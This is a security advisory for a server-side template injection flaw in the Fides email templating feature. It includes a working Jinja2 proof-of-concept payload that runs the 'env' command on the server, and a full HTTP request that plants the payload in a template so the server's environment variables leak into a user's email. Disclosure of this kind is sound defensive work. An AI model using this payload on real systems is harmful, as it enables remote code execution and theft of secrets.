CVE-2024-45053

The Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default Owner or Contributor role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.

Details

The application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.

It was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.

Admin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability:

• Owner
• Contributor

OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.

Workarounds

There are no workarounds.

PoC

The following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables:

Your privacy request has been denied.
*bb*
{% for s in ().__class__.__base__.__subclasses__() %}{% if "warning" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen("env").read() }}{% endif %}
{% endfor %}
*aa*

The following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template:

PUT /api/v1/messaging/templates/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220 HTTP/2
Host: <redacted host>
Cookie: _fbp=fb.1.17232<..REDACTED>_ga=GA1.1.263756963.1723471626
Content-Length: 361
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Unescape-Safestr: true
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..<REDACTED>
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Access-Control-Allow-Origin: *
X-Fides-Source: fidesops-admin-ui
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: https://<redacted host>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<redacted host>/messaging/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

{
    "is_enabled": true,
    "content":
    {
        "subject": "Your privacy request has been denied XXX",
        "body": "Your privacy request has been denied. \n*bb*\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen(\"env\").read() }}{% endif %}\n{% endfor %}\n*aa*\n**"
    },
    "properties":
    [
        "FDS-JICO87"
    ]
}

As a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container's environment variables will be included in the email the end-user receives.